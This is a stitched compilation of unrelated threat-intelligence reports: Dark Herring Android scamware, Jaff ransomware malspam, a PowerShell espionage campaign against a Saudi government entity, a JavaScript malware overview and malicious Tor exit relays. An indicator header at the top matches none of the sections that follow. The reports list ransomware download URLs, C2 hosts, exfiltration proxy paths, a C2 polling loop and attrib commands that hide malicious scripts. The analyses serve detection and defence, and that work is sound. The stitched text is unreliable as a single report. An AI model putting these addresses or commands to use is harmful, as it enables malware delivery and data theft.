SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff **Infrastructure referenced in this report** - win10-update[.]com - 185.177.59[.]70 - 134.119.217[.]87 - win7-update[.]com - turkiyeburslari[.]tk - xn--mgbfv9eh74d[.]com (ماﺮﮕﻠﺗ[.]com) - ytb[.]services - eseses[.]tk
# Financially Motivated Mobile Scamware Exceeds 100M Installations **January 26, 2022** **Research by Aazim Yaswant and Nipun Gupta** While some financially motivated scams may seem simple on the surface, cybercriminals are investing large amounts of money into strategies and infrastructure to scale up their malicious campaigns. Those investments are paying off as threat actors continue to target mobile users with successful campaigns. In October, the Zimperium zLabs team informed the community about GriftHorse, a massive mobile premium service abuse campaign that compromised around 10 million victims globally. In the pursuit of identifying and taking down similar financially motivated scams, zLabs researchers have discovered another premium service abuse campaign with upwards of 105 million victims globally, which we have named Dark Herring. The total amount of money scammed out of unsuspecting users could once again be well into the hundreds of millions of dollars. These malicious Android applications appear harmless when looking at the store description and requested permissions, but this false sense of confidence changes when users get charged month over month for premium service they are not receiving via direct carrier billing. Direct carrier billing (DCB) is the mobile payment method that allows consumers to send charges of purchases made to their phone bills with their phone number. Unlike many other malicious applications that provide no functional capabilities, the victim can use these applications, meaning they are often left installed on the phones and tablets long after initial installation. Threat intelligence on the active Dark Herring Android Scamware campaign revealed that the date of publication of the apps dates back to March 2020. To date, Dark Herring is the longest-running mobile SMS scam discovered by the Zimperium zLabs team. These malicious applications were initially distributed through both Google Play and third-party application stores. Zimperium zLabs reported the findings to both Google and the web hosts, who verified the provided information and removed the malicious materials as part of a coordinated takedown. At the time of publishing, the scam services and phishing sites are no longer active, and Google has removed all the malicious applications from Google Play. However, the malicious applications are still available on third-party app repositories, once again highlighting the risk of sideloading applications to mobile endpoints and the need for advanced on-device security. **Disclosure:** As a key member of the Google App Defense Alliance, Zimperium scans applications before they are published and provides an ongoing analysis of Android apps in the Google Play Store. ## Summary of Dark Herring Android Scamware The Dark Herring mobile applications pose a threat to all Android devices by functioning as scamware that subscribes users to paid services, charging an average monthly premium of $15 USD. This campaign has targeted millions of users from over 70 countries by serving targeted malicious web pages to users based on the geo-location of their IP address with the local language. This social engineering trick is exceptionally successful and effective as users are generally more comfortable with sharing information to a website in their local language. Upon infection, the Dark Herring-infected application communicates with the C&C server, exposing the victim’s IP address. Based on the geolocation of the IP address, the decision to target the victim for Direct Carrier Billing subscription or not is taken by using server-side logic. The malware redirects the victim to a geo-specific webpage where they are asked to submit their phone numbers for verification. But in reality, they are submitting their phone number to a Direct Carrier Billing service that begins charging them an average of $15 USD per month. The victim does not immediately notice the impact of the theft, and the likelihood of the billing continuing for months before detection is high, with little to no recourse to get one’s money back. The threat actors responsible for Dark Herring generated and published almost 470 applications on the Google Play Store over a long period, with the earliest submission dating to March 2020 and as recently as November 2021. The number of applications attributed to this campaign indicates that the motivated and persistent threat actors are continuously scaling up their architecture and resources to infect as many victims as possible to maximize their gains. Zimperium zLabs researchers have noticed a pattern in the C&C communication, which suggests that the threat actors have developed an infrastructure to handle the communication coming from several applications with unique identifiers and responding accordingly. The download statistics reveal that more than 105 million Android devices had this scamware installed, potentially falling victim to this campaign globally, possibly suffering incalculable financial losses. The cybercriminal group behind this campaign has built a stable cash flow of illicit funds from these victims, generating millions in recurring revenue each month, with the total amount stolen potentially well into the hundreds of millions. ## How does the Dark Herring Android Scamware work? Once the Android application is installed and launched, a URL that acts as the first-stage endpoint is loaded into a webview. The URL can be retrieved from a hard-coded string, the resource strings, or decrypting a string. The first-stage URL is always an endpoint hosted on Cloudfront. The initial GET request sent to the Cloudfront URL is shown in Figure 1. The response contains the links to JavaScript files hosted on AWS instances, and the application fetches all the resources to proceed with the infection process. One of such JS files instructs the application to get a unique identifier for the device by making a POST request to the “live/keylookup” API endpoint and then constructing a final-stage URL. The baseurl variable is used to make a POST request that contains unique identifiers created by the application to identify the device and the language and country details. The response from the above endpoint contains the configuration for the application’s behavior based on the victim’s details. A list of supported countries is found in the response that indicates the targeted citizens of countries will be subject to subscription of the Direct Carrier Billing. Based on the configuration, the webpage displayed to the victim gets customized in terms of the language of the text, flag, and country code. ## The Threat Actors Despite the similarities in approach between this campaign and GriftHorse, the Zimperium zLabs researchers have attributed this campaign to a new group of threat actors unaffiliated with the GriftHorse attackers. Several differences in the core codebase and other indicators are unique to this campaign, along with infrastructure investments not seen before. The level of sophistication, use of novel techniques, and determination displayed by the threat actors has allowed them to have such a large distribution around the world. The Dark Herring campaign is one of the most extensive and successful malware campaigns by measure of the sheer number of applications that the zLabs threat research team has witnessed in 2021. Its success is attributed mainly to the rarely seen combination of several features: - Novel techniques undetected by any other AV vendors - Around 470 scamware applications were used in the campaign - Use of proxies as first-stage URLs - The geolocation of the users based on IP is used to identify potential victims - Vetting of application users to identify potential victims - Using a sophisticated architecture to obfuscate the true intent Producing a large number of malicious applications and submitting them to app stores points to an extensive, concerted effort by a well-organized group. These apps are not just clones of each other or other apps but are uniquely produced at a high rate to deceive traditional security toolsets and the potential victims. The commonality of the malicious code and where the apps connect to it is more often than not the only common facet among the over 470 applications. The evidence also points to a significant financial investment from the malicious actors in building and maintaining the infrastructure to keep this global scam operating at such a high pace. In addition to over 470 Android applications, the distribution of the applications was extremely well-planned, spreading their apps across multiple, varied categories, widening the range of potential victims. The apps themselves also functioned as advertised, increasing the false sense of confidence. ## The Victims of Dark Herring Scamware The campaign is exceptionally versatile, targeting mobile users from 70+ countries by changing the application’s language and displaying the content according to the current user’s IP address. Due to the nature of Direct Carrier Billing, some countries might have been targeted with less success than others due to the consumer protections set in place by telcos. Based on the collected intel, the Zimperium zLabs team estimates that Dark Herring has attempted to infect over 105 million devices since March 2020. Zimperium zIPS customers are protected against the Dark Herring Scamware through the on-device malware detection, anti-phishing layers, and machine learning engine with the complete Zimperium mobile threat defense solution. Powered by the on-device z9 Mobile Threat Defense machine learning engine, customers can remain confident against this family of scams. Zimperium on-device phishing classifiers detect the traffic from the malicious domains with our machine learning-based technology, blocking all traffic and preventing attackers from redirecting a potential victim to a targeted phishing site. All the compromised and malicious applications found were also reviewed using Zimperium’s app analysis platform, z3A. The apps returned reports of high privacy and security risks to the end-user. Zimperium administrators can create risk policies preventing users from installing high-risk apps like Dark Herring. To ensure your Android users are protected from Dark Herring Scamware, we recommend a quick risk assessment. Any application with Dark Herring will be flagged as a “Suspicious App Threat” on the device and in the zConsole. Admins can also review which apps are sideloaded onto the device that could be increasing the attack surface and leaving data and users at risk. **Indicators of Compromise:** The IOCs can be found in the following Github repository: [Zimperium DarkHerring](https://github.com/Zimperium/DarkHerring) ## About Zimperium Zimperium provides the only mobile security platform purpose-built for enterprise environments. With machine learning-based protection and a single platform that secures everything from applications to endpoints, Zimperium is the only solution to provide on-device mobile threat defense to protect growing and evolving mobile environments. For more information or to schedule a demo, contact us today.
# More Examples of Malspam Pushing Jaff Ransomware ## Associated Files: - Zip archive of the pcap: `2017-05-16-Jaff-ransomware-malspam-traffic.pcap.zip` (92.3 kB) - `2017-05-16-Jaff-ransomware-malspam-traffic.pcap` (97,799 bytes) - Zip archive of the spreadsheet tracker: `2017-05-16-Jaff-ransomware-tracker.csv.zip` (1.1 kB) - `2017-05-16-Jaff-ransomware-tracker.csv` (3,024 bytes) - Zip archive of an email example, several malware samples, and some artifacts: `2017-05-16-Jaff-ransomware-emails-and-artifacts.zip` (1.2 MB) - `2017-05-16-133459-UTC-Invoice.pdf` (52,399 bytes) - `2017-05-16-141909-UTC-Invoice.pdf` (52,239 bytes) - `2017-05-16-142344-UTC-Invoice.pdf` (52,322 bytes) - `2017-05-16-142529-UTC-Invoice.pdf` (52,322 bytes) - `2017-05-16-142819-UTC-Invoice.pdf` (52,322 bytes) - `2017-05-16-143514-UTC-Invoice.pdf` (52,322 bytes) - `2017-05-16-144044-UTC-Invoice.pdf` (52,322 bytes) - `2017-05-16-145739-UTC-Invoice.pdf` (52,464 bytes) - `2017-05-16-150804-UTC-Invoice.pdf` (52,439 bytes) - `2017-05-16-155014-UTC-Invoice.pdf` (52,214 bytes) - `2017-05-16-173344-UTC-Invoice.pdf` (52,185 bytes) - `2017-05-16-Jaff-Decryptor-index.css` (2,661 bytes) - `2017-05-16-Jaff-Decryptor.html` (5,090 bytes) - `2017-05-16-Jaff-ransomware-ReadMe.bmp` (3,145,782 bytes) - `2017-05-16-Jaff-ransomware-ReadMe.html` (1,431 bytes) - `2017-05-16-Jaff-ransomware-ReadMe.txt` (482 bytes) - `2017-05-16-Jaff-ransomware-galaperidol8.exe` (147,456 bytes) - `2017-05-16-jaff-malspam-133459-UTC.eml` (71,787 bytes) - `GUMHSZUM.docm` (55,176 bytes) - `HBTEJ.docm` (55,154 bytes) - `HSOTN2JI.docm` (55,170 bytes) - `LNJ9DNIJ.docm` (55,187 bytes) - `U4HKZVPRL.docm` (55,175 bytes) - `UCER2Q.docm` (55,134 bytes) - `UTTNNVW6V.docm` (55,166 bytes) - `VEZLGKVC.docm` (55,155 bytes) ## Notes: More malspam pushing Jaff ransomware today. It's the same type of malspam we've seen before with PDF attachments leading to embedded Word documents (with malicious macros) followed by follow-up malware. Below are the blogs I've personally posted about it here at malware-traffic-analysis.net: - 2017-04-19 - Dridex malspam with PDF attachments containing embedded Word docs - 2017-04-21 - Dridex-style malspam pushes Locky ransomware instead - 2017-05-11 - Jumping on the Jaff bandwagon - 2017-05-15 - The Jaff ransomware train keeps on rollin' - 2017-05-16 - More examples of malspam pushing Jaff ransomware ## Email Examples: **Date/Time -- Subject -- Attachment Name -- Sending Address (Spoofed)** - 2017-05-16 13:34:59 UTC -- Your Invoice # 921212 -- Invoice.pdf -- "Courtney" <[email protected]> - 2017-05-16 14:19:09 UTC -- Your Invoice # 878923 -- Invoice.pdf -- "Jeremiah" <[email protected]> - 2017-05-16 14:23:44 UTC -- Your Invoice # 654270 -- Invoice.pdf -- "Shelly" <[email protected]> - 2017-05-16 14:25:29 UTC -- Your Invoice # 87871 -- Invoice.pdf -- "Jodie" <[email protected]> - 2017-05-16 14:28:19 UTC -- Your Invoice # 850914 -- Invoice.pdf -- "Blake" <[email protected]> - 2017-05-16 14:35:14 UTC -- Your Invoice # 62287 -- Invoice.pdf -- "Adrienne" <[email protected]> - 2017-05-16 14:40:44 UTC -- Your Invoice # 24559 -- Invoice.pdf -- "Virgie" <[email protected]> - 2017-05-16 14:57:39 UTC -- Your Invoice # 852594 -- Invoice.pdf -- "Krystal" <[email protected]> - 2017-05-16 15:08:04 UTC -- Your Invoice # 99499 -- Invoice.pdf -- "Laurie" <[email protected]> - 2017-05-16 15:50:14 UTC -- Your Invoice # 08175 -- Invoice.pdf -- "Kristy" <[email protected]> - 2017-05-16 17:33:44 UTC -- Your Invoice # 927414 -- Invoice.pdf -- "Marlene" <[email protected]> - 2017-05-16 18:21:34 UTC -- Your Invoice # 376427 -- Invoice.pdf -- "Earlene" <[email protected]> ## Malware: As usual, the PDF attachment contains an embedded Word document with malicious macros. ### SHA256 Hashes for the Attachments: - `279bd153041b64966147eb7d036f570199e2d068c92746eb3e571d49fd7e3805` - Invoice.pdf - `5b10d2ae464ec1b3c5d62d70d452d205419c0892fa2d21892767f8f30a6b8e98` - Invoice.pdf - `5da7c8bf86dc71531b2cd34e565385dae7b080cde104e5abe29577ed03787a71` - Invoice.pdf - `66c406bbe06a7804508e39eb3822b0a4f27b14a9d4c5dff970d559bcd88d6abc` - Invoice.pdf - `728174eddaf20492bfc3d85df3148aad3ff2677c88c901d727272c0f1aa4a0dd` - Invoice.pdf - `85640107aec9c21f6fdcf62ef79046aa57c18da35d29795febb7ac634165f93c` - Invoice.pdf - `bd5cc7c63481cb6f54b8ddd3b459976021839119f2f57a2f60e52159ac0c184d` - Invoice.pdf - `ebcdc058e4d7d7e2d9bcf59042c50814c335e3aa18b59f76a9eccc9918c78bb7` - Invoice.pdf ### SHA256 Hashes for the Embedded Word Documents: - `1bc1196f611d2c6e5bd904160354fe1374c39b907411a5a15592bbc80bd4c4c4` - VEZLGKVC.docm - `349365e97bba0377c960894ddcdb9939e386b55e764b7d3f8257aa538866167d` - LNJ9DNIJ.docm - `4da60d4278f4996163f5ffa28196919369d4ca365245ce8c60dc46bd9d816667` - HSOTN2JI.docm - `4ff07b88668dfc828f18859b84805aae9c06b485594d029e42c1b0c9255988e6` - U4HKZVPRL.docm - `9c9e0e6900b82b14816ccd7dd3f3269c44bb752a63c63afe652feaf090c551c2` - UCER2Q.docm - `a7810d1b9d50e78157ee43d2c6f34dddd70f11bc0c76311a0e223fbd9ee20165` - HBTEJ.docm - `b8ddb998befb348bbc242ed66757b8024f4fceec1f5b5b145f8aac5874d9e81f` - GUMHSZUM.docm - `d30b4f0c787794a838b3cf34bdaee77bc95f42fe84bef67c5283033ee4265111` - UTTNNVW6V.docm ## Jaff Ransomware Sample: - SHA256 hash: `387812ee2820cbf49812b1b229b7d8721ee37296f7b6018332a56e30a99e1092` - File size: 147,456 bytes - File location: `C:\Users\[username]\AppData\Local\Temp\galaperidol8.exe` ## Traffic: ### URLs from the Word Macros to Download Jaff Ransomware: - `34.209.214.237` port 80 - herrossoidffr6644qa.top - GET /af/Nbiyure3 - `194.58.119.16` port 80 - jsplast.ru - GET /Nbiyure3 - `80.150.6.143` port 80 - juvadent.de - GET /Nbiyure3 - `120.76.230.45` port 80 - opearl.net - GET /Nbiyure3 - `103.63.135.197` port 80 - playmindltd.com - GET /Nbiyure3 - `34.209.214.237` port 80 - sjffonrvcik45bd.info - GET /af/Nbiyure3 - `107.180.26.179` port 80 - tidytrend.com - GET /Nbiyure3 - `101.0.99.38` port 80 - titanmachinery.com.au - GET /Nbiyure3 - `92.245.188.95` port 80 - tomcarservice.it - GET /Nbiyure3 - `176.223.209.5` port 80 - ventrust.ro - GET /Nbiyure3 - `188.65.115.35` port 80 - vipan-photography.com - GET /Nbiyure3 - `107.180.48.250` port 80 - wizbam.com - GET /Nbiyure3 ### Jaff Ransomware Post-Infection Traffic: - `47.91.107.213` port 80 eesiiuroffde445.com - GET /a5/ - `rktazuzi7hbln7sy.onion` - Tor domain for Jaff Decryptor (same as the last few times) ## Final Notes Once again, here are the associated files: - Zip archive of the pcap: `2017-05-16-Jaff-ransomware-malspam-traffic.pcap.zip` (92.3 kB) - Zip archive of the spreadsheet tracker: `2017-05-16-Jaff-ransomware-tracker.csv.zip` (1.1 kB) - Zip archive of an email example, several malware samples, and some artifacts: `2017-05-16-Jaff-ransomware-emails-and-artifacts.zip` (1.2 MB) ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website.
# Elaborate Scripting-Fu Used in Espionage Attack Against Saudi Arabia Government Entity We recently came across a campaign targeting a Saudi Arabia Government entity via a malicious Word document which at first reminded us of an attack we had previously described on this blog. In our previous research, we detailed how an information stealer Trojan was deployed via a Word macro, in order to spy on its victims (various parts of the Saudi Government). The stolen information was transmitted back to the threat actors’ infrastructure in an encrypted format. This new threat also uses a macro to infect the target’s computer, but rather than retrieving a binary payload, it relies on various scripts to maintain its presence and to communicate via hacked websites, acting as proxies for the command and control server. The malicious script fingerprints the victim’s machine and can receive any command that will run via PowerShell. In this blog post, we will describe the way this threat enters the system and maintains its presence while constantly communicating with its command and control server. ## Covert Delivery and Persistence The decoy document bears the logo of one of the branches of the Saudi Government and prompts the user to “Enable Content” stating that the document is in protected view (which is actually true). A high-level summary static analysis of this document reveals that it includes a macro as well as several Base64 encoded strings. One of the first routines the malicious VBScript performs is to disable or lower security settings within Microsoft Excel and Word by altering corresponding registry keys with values of “1”, meaning: Enable All. The VBScript also fingerprints the victim for their IP address by querying the Win32_NetworkAdapterConfiguration class. It then proceeds to retrieve a stream of data from the Pastebin website using its own proxy. The data is converted into two scripts, a PowerShell and a Visual Basic one, the latter being used for persistence on the infected machine via two different hook points: a Run key in the registry and a scheduled task. This VBScript is really a launcher for the more important PowerShell script, and both are stored as hidden system files under the Documents folder using the following commands: ``` attrib +s +h "C:\Users\public\documents\NTSTATS.ps1" attrib +s +h "C:\Users\public\documents\NTSTATS.vbs" ``` ## Espionage and Exfiltration That PowerShell script also has the same instructions to lower Office’s security settings but more importantly is used to exfiltrate data and communicate with the command and control server. A unique ID is stored on the victim’s machine (in the same folder as the scripts) in a file called [username].key and is used to receive instructions via a server located in Germany (although it appears to be down at the time of writing). A function called `getKey` retrieves the unique ID from the .key file stored on the local hard drive to register the machine as a new victim. If the key file does not exist, it queries for additional system information (computer name, IP address, OS version) and then creates that key. Another function called `getCommand` uses the key as a parameter to then contact the C2. This command runs every 5 minutes: ``` while ($true){ getCommand $key start-sleep -Seconds 300 } ``` The malicious script can receive and run any command the attackers want via PowerShell, making this a very powerful attack. The eventual exfiltration of data is done via several hardcoded websites acting as a proxy via the `sendResult` function. The transmission of data is done via Base64 encoded strings, one for the user id (.key file) and one for the exfiltrated data. ## Script-Based Attack and Protection This attack is very different from the typical malicious spam we see on a daily basis, blasting Locky or some banking Trojan. Indeed, there is no malicious binary payload (although one could be downloaded by the C2) which makes us think the attackers are trying to keep a low profile and remain on the system while collecting information from their target. Relying on scripts as part of the attack chain and ongoing infection is an interesting concept due to how modular it is, not to mention more likely to stay undetected from antivirus engines. At the same time, it needs to rely on various encoding techniques because it can’t make use of a packer like a traditional malware binary would. Malwarebytes users are already protected against this attack thanks to our signature-less engine. ## Indicators of Compromise **Scripts:** - C:\Users\public\documents\NTSTATS.ps1 - C:\Users\public\documents\NTSTATS.vbs **C2:** - 144.76.109[.]88/al/ **Proxies:** - larsson-elevator[.]com/plugins/xmap/com_k2/com.php?c= - spearhead-training[.]com/action/point2.php?c= - itcdubai[.]net/action/contact_gtc.php?c= - taxconsultantsdubai[.]ae/wp-content/themes/config.php?c= - projac.co[.]uk/Senditem.php?c= - wmg-global[.]com/wp-content/wp_fast_cache/wmg-global.com/Senditem.php?c= - romix-group[.]com/modules/mod_wrapper/Senditem.php?c= - heartmade[.]ae/plugins/content/contact/Senditem.php?c= - arch-tech[.]net/components/com_layer_slider/Senditem.php?c=
# Understanding the Windows JavaScript Threat Landscape November 4, 2021 | Shaul Vilkomir-Preisman Script-based attacks have become a significant threat in recent years, with some estimates putting these attacks at 40 percent or more of all global cyberattacks. A script can be anything from a sequence of simple commands used for system configuration, task automation, and other general purposes, to much more advanced, multi-layered, and often obfuscated code. Among the most commonly used scripting languages are PowerShell, VBScript, and JavaScript. While PowerShell attacks are most commonly used, Windows JavaScript is also used by malicious threat actors for many of the same purposes. Outside of a browser — which executes JavaScript in an encapsulated fashion, greatly limiting that code’s interaction with the operating system — Windows provides facilities for JavaScript execution with Windows Script Host (WSH), which executes JavaScript (and other Windows-supported scripting languages) under the `wscript.exe` and `cscript.exe` Windows processes, providing an attack surface for adversaries to exploit. JavaScript malware can range from a simple dropper intended to deliver additional malware to being fully-featured, multi-purpose pieces of malware in their own right. In this blog, we will provide an overview of five prominent malware strains in the JavaScript landscape, with an emphasis on several “pure” JavaScript malware which often challenge static detection signatures through heavy code obfuscation and not employing compiled binaries. Please note that this will not be an in-depth analysis of the different malware, but a higher-level review of each malware. ## VJw0rm “Vengeance Justice Worm” was first discovered in 2016 and is a highly multifunctional, modular, publicly available “commodity malware”, i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels. VJw0rm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot. VJw0rm is propagated primarily by malicious email attachments and by infecting removable storage devices. Once executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removable drive is found, VJw0rm will infect it if configured to do so. It will continue to gather victim information such as operating system details, user’s details, installed anti-virus product details, stored browser cookies, the presence of `vbc.exe` on the system (Microsoft’s .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor’s choice of additional malware delivery), and whether the system has been previously infected. VJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities. Finally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods. ## WSHRat WSHRat, also known as Houdini, H-worm, Dunihi, and several other aliases, is another “commodity malware” and can trace its roots to 2013 when it was originally developed in VBS. The WSHRat variant, itself, emerged in 2019 as a JavaScript-based version of the previously known Houdini/H-Worm, which was written in VBS. As with all Remote-Access Trojans (RATs), WSHRat’s primary purpose is to maintain access to the machine, executing remote commands, and downloading additional malware. WSHRat is propagated primarily by malicious email attachments and is also capable of infecting removable storage drives. Once executed by the victim, the very heavily obfuscated WSHRat will follow a course similar to that of the above described VJw0rm – gather operating system and user’s details, installed anti-virus product details, report this back to its command-and-control, perform removable storage drive infection if configured to do so and await further commands. “Houdini” VBS based variants of the malware are known to have been involved in a recently reported, very protracted, espionage campaign that targeted the aviation industry. ## STRRAT STRRAT is a Java-based RAT with a JavaScript wrapper/dropper that was discovered in 2020. Its core payload (a .JAR file) is contained under several layers of obfuscation and encoding inside the JavaScript wrapper/dropper. STRRAT is propagated by malicious email attachments. Its capabilities include standard RAT functionalities (remote access, remote command execution), browser and email-client credential harvesting, and a unique ransomware-like functionality – if instructed, it will add a “.crimson” extension to files on the device, rendering them inoperable (though they can be easily recovered because their content is not modified). Unlike many Java-based malware, STRRAT does not require Java to be installed on the infected system in order to operate. When the JavaScript wrapper/dropper is executed, if a suitable Java runtime installation is not found, one will be downloaded and installed in order to assure the contained Java payload can execute. ## BlackByte Ransomware BlackByte is recently discovered Ransomware with a .NET DLL core payload wrapped in JavaScript. It employs heavy obfuscation both in its JavaScript wrapper and .NET DLL core. Once the JavaScript wrapper is executed, the malware will de-obfuscate the core payload and execute it in memory. The core .DLL is loaded and BlackByte will check the installed operating system language and terminate if an eastern European language is found. It will proceed to check for the presence of several anti-virus and sandbox-related .DLLs, attempt to bypass AMSI, delete system shadow-copies in order to hinder system recovery, and modify several other system services (including Windows Firewall) in order to “prep” the system for encryption. Once the system is “ready” for encryption, it will download a symmetric key-file which will be used to encrypt files on the system. If this file is not found, the malware will terminate. Unlike most Ransomware today, BlackByte uses a single symmetric encryption key, and does not generate a unique encryption key for each victim system, meaning the same key can be used to decrypt all files encrypted by the malware. This makes for substantially easier key-management for the actors behind BlackByte at the cost of a weaker encryption scheme and easier victim system recovery (as there is only a single online point with a single key to maintain). As with most Ransomware today, BlackByte has worming capabilities and can infect additional endpoints on the same network. ## Carbanak/FIN7 JavaScript Backdoor Carbanak/FIN7 needs little introduction. Discovered in 2014, they are one of the most prolific and successful, financially-motivated threat actors in action today, responsible for an estimated $1 billion in losses to countless financial institutions worldwide. Carbanak/FIN7’s main means of spreading malware consists of highly targeted and highly effective spear-phishing emails. A recently discovered JavaScript based backdoor associated with the actor, however, appears to indicate a pivot in their activity — shifting from their mostly PowerShell-based malware to JavaScript, likely in an attempt to become less detectable to security vendors. Once executed, the backdoor will initiate a two-minute delay in an effort to avoid automated sandbox detection (analysis timeout), and then will collect the infected machine’s IP and MAC addresses, DNS hostname, and report back to its Command-and-Control server and execute any code it receives back as response. Carbanak/FIN7 are known to employ Cobalt Strike as their post-breach follow-up malware. ## Conclusion The JavaScript landscape is rife with malware of all types and is highly dynamic. These are significant threats that cannot be disregarded. Threat actors around the world are developing and maintaining JavaScript-based malware that is on par in its functionality and sophistication with anything in the parallel landscapes of other Windows-supported scripting languages, all of which are gaining popularity as more and more threat actors are transitioning to the “no PE needed” mentality. ## IOCs of examined samples: **VJw0rm** SHA256: 080069323805f67a898f62517b17786d46cc51e9894cd490ee0ba789271e1d9c C2: 180.214.239.36:8050 **WSHRat** SHA256: ec5d3e6da18db71027ea5a54ff0e4be63313b4986d3ef8b020a4a79ae3866571 C2: jahblessrtd4ever.home-webserver.de:1604 Drops Remcos RAT: 52cbc7b3e3c373b8857245207f0cfca50c35b6edc49255441f74fdf45a71ac46 (Remcos employs same C2 as WSHRat) **STRRAT** SHA256: 213c775b371b55c48308650f29ad041a889ef24bf58069d380b4be6e558b82e9 SHA256 (JAR): 6b723bd260b53c68c716ef218c78718d3e99ab4d4238a4bd823fd0cd6ec8007b "bring your own JRE” URL: wshsoft.company/jre7.zip C2: str-master.pw **BlackByte Ransomware** SHA256: 884e96a75dc568075e845ccac2d4b4ccec68017e6ef258c7c03da8c88a597534 Key file URL: 45.9.148.114/forest.png **Carbanak/FIN7 JavaScript Backdoor** SHA256: caa7667bfdbcb04ceb9d81df93fe805dfe4ac8a04b9dd3eaab7b5f7c87c4fc9c C2: civilizationidium.com
# Tracking One Year of Malicious Tor Exit Relay Activities (Part II) >25% of the Tor network’s exit capacity has been attacking Tor users. In August 2020, I reported about “How Malicious Tor Relays are Exploiting Users in 2020 (Part I)”. Back then, I hypothesized that the entity behind these malicious Tor relays would not stop its activities anytime soon. Unfortunately, this turned out to be true. In this follow-up post, I will provide an update, share what additional information we learned about the attacker since August 2020, and to what extent they were and still are active on the Tor network. After publishing the previous blog post, it took only a few days until two sets of relay groups that were on my radar at the time got confirmed performing the same kind of attacks against Tor users as previously observed: - **2020–08–16**: ContactInfo “[email protected]” Tor relays got caught doing MITM attacks. They were removed from the Tor network on 2020–08–17. - **2020–08–18**: ContactInfo “kleinendorstwiebe AT gmail DOT com” Tor relays were confirmed as malicious. They were removed on 2020–08–19. ### New Negative Records The graph in Figure 1 starts where the first graph in the previous blog post ends and shows the fraction of known malicious exit capacity linked to this specific actor between July 2020 and April 2021. You can see the repeating pattern of new malicious relays getting added to the Tor network and gaining significant traction before dropping sharply when they were removed. In terms of the scale of the attacker’s exit fraction, they managed to break their own record from May 2020 (>23% malicious exit fraction) twice: - On **2020–10–30**, the malicious entity operated more than 26% of the Tor network’s exit relay capacity. - On **2021–02–02**, they managed more than 27% of Tor’s exit relay capacity. This is the largest malicious Tor exit fraction I’ve ever observed by a single actor. Since there likely are additional malicious exit relays by this actor, which I did not manage to uncover, I expect their actual fraction to be slightly higher (+1–3%) than the fractions stated above. The attacker managed such a large fraction that the total fraction managed by somewhat known Tor relay community members—who made up about 73% before this attacker started its operations over a year ago—dropped to below 50% at the end of 2020 before it started to recover again after **2021–02–05**. ### New Malicious Trends New attack trends have also been observed: - This actor is increasingly adding malicious Tor relays without any ContactInfo. Once a malicious Tor exit relay is detected, all other relays using the same ContactInfo are easily found and removed. This is not an issue for them if they do not have a ContactInfo at all. The “Expectations for Relay Operators” document (draft) states: > Be sure to set your ContactInfo to a working address […] Roger Dingledine (one of the founders of the Tor Project) also has a clear opinion on this topic: > Make clear that being a relay operator requires transparency about the relay operator, not secrecy. The Tor client has no configuration option to say “do not use exits without ContactInfo”. I wrote a short proof-of-concept Python script that demonstrates such a feature by excluding exit relays without ContactInfo in the exit position via the “ExcludeExitNodes” option, but it is not meant to be used by the average user. ### Reaction Time Matters In August and September 2020, malicious relays got reported and removed continuously. In October 2020, the malicious exit fraction reached a new record (>26% malicious exit fraction). What was different in October 2020? Like the previously identified groups, the groups appearing at the end of September and the beginning of October 2020 got detected by OrNetRadar (a relay group detector). They were reported to the Tor Project on **2020–10–04**; unfortunately, there was no reaction, and so these malicious relay groups gained significant exit fraction over time before they were probably discovered again and removed at the end of October 2020. ### New Adversarial Tactics In September, on **2020–09–03**, “Андрей Гвоздев <[email protected]>” reported CypherpunkLabs relays, an undeclared relay group (but not necessarily run with malicious intents), to bad-relays at lists.torproject.org. Even though I contacted CypherpunkLabs multiple times, the situation with their relay configuration had not improved at the time. Such MyFamily misconfigurations make impersonation attacks easier for attackers. About three weeks later, on **2020–09–26**, the malicious entity started to take advantage of CypherpunkLabs’ relay misconfiguration. New malicious exit relays using CypherPunkLabs’ ContactInfo appeared. ### Unexpected Luck with WHOIS Data On **2020–10–31**, Roger Dingledine sent an email to the tor-relays mailing list mentioning that Tor directory authorities removed a long list of malicious exit relays for performing known attacks (mitmproxy, sslstrip) against Tor users. Since CypherPunkLabs did not properly declare their relay group, it was not possible to tell their relays apart from the attacker’s relays. At the bottom of the long list of malicious Tor exit relays published by Roger Dingledine, we can see a set of malicious exit relay identifiers (fingerprints). Unlike most of the other relays, they were not located at one of the usual hosters. These relays did run on specific IP addresses located in Switzerland at the internet service provider Datasource AG. The WHOIS records contain the email address as abuse contact for the small IP block used by malicious exit relays. Due to the size and its status, this is likely an end-user assignment. Of particular interest is the abuse contact, since it shows the email address that contacted the bad-relays team on **2020–09–03** and reported the CypherpunkLabs relays, which then became impersonation attack victims after they got reported. ### Countermeasures My previous blog posts about malicious Tor relay activities featured a section about proposals the Tor Project could implement to reduce the risks for Tor Browser users. That did not turn out to be fruitful. So after several attempts to convince them to improve the situation, I’m going to take another approach: Digital self-defense for Tor users. In addition to Tor user protections, I also tackle Tor relay operator impersonation attacks via a non-spoofable ContactInfo, which relay operators are encouraged to implement. ### Summary - The entity attacking Tor users has been actively exploiting them for over a year and expanded the scale of their attacks to a new record level (>27% of the Tor network’s exit capacity has been under their control on **2021–02–02**). - The average exit fraction this entity controlled was above 14% throughout the past 12 months. - The malicious actor actively reported non-malicious but poorly configured relays to the Tor Project’s bad-relays mailing list to find viable victims for operator impersonation attacks. - Most of the malicious Tor exit capacity did not have any relay ContactInfo. Throughout the last 6 months, the majority of Tor exit capacity without ContactInfo was malicious. - The attacker primarily uses servers at the hoster OVH. - In early May 2021, the attacker attempted to add over 1,000 exit relays to the Tor network. - The attacker likely uses the Russian language interface of gmail.com. - As of **2021–05–08**, I estimate their exit fraction between 4-6% of the Tor network’s exit capacity. - A new field for Tor relays has been specified and has been adopted by over 20% of the network’s exit capacity so far.
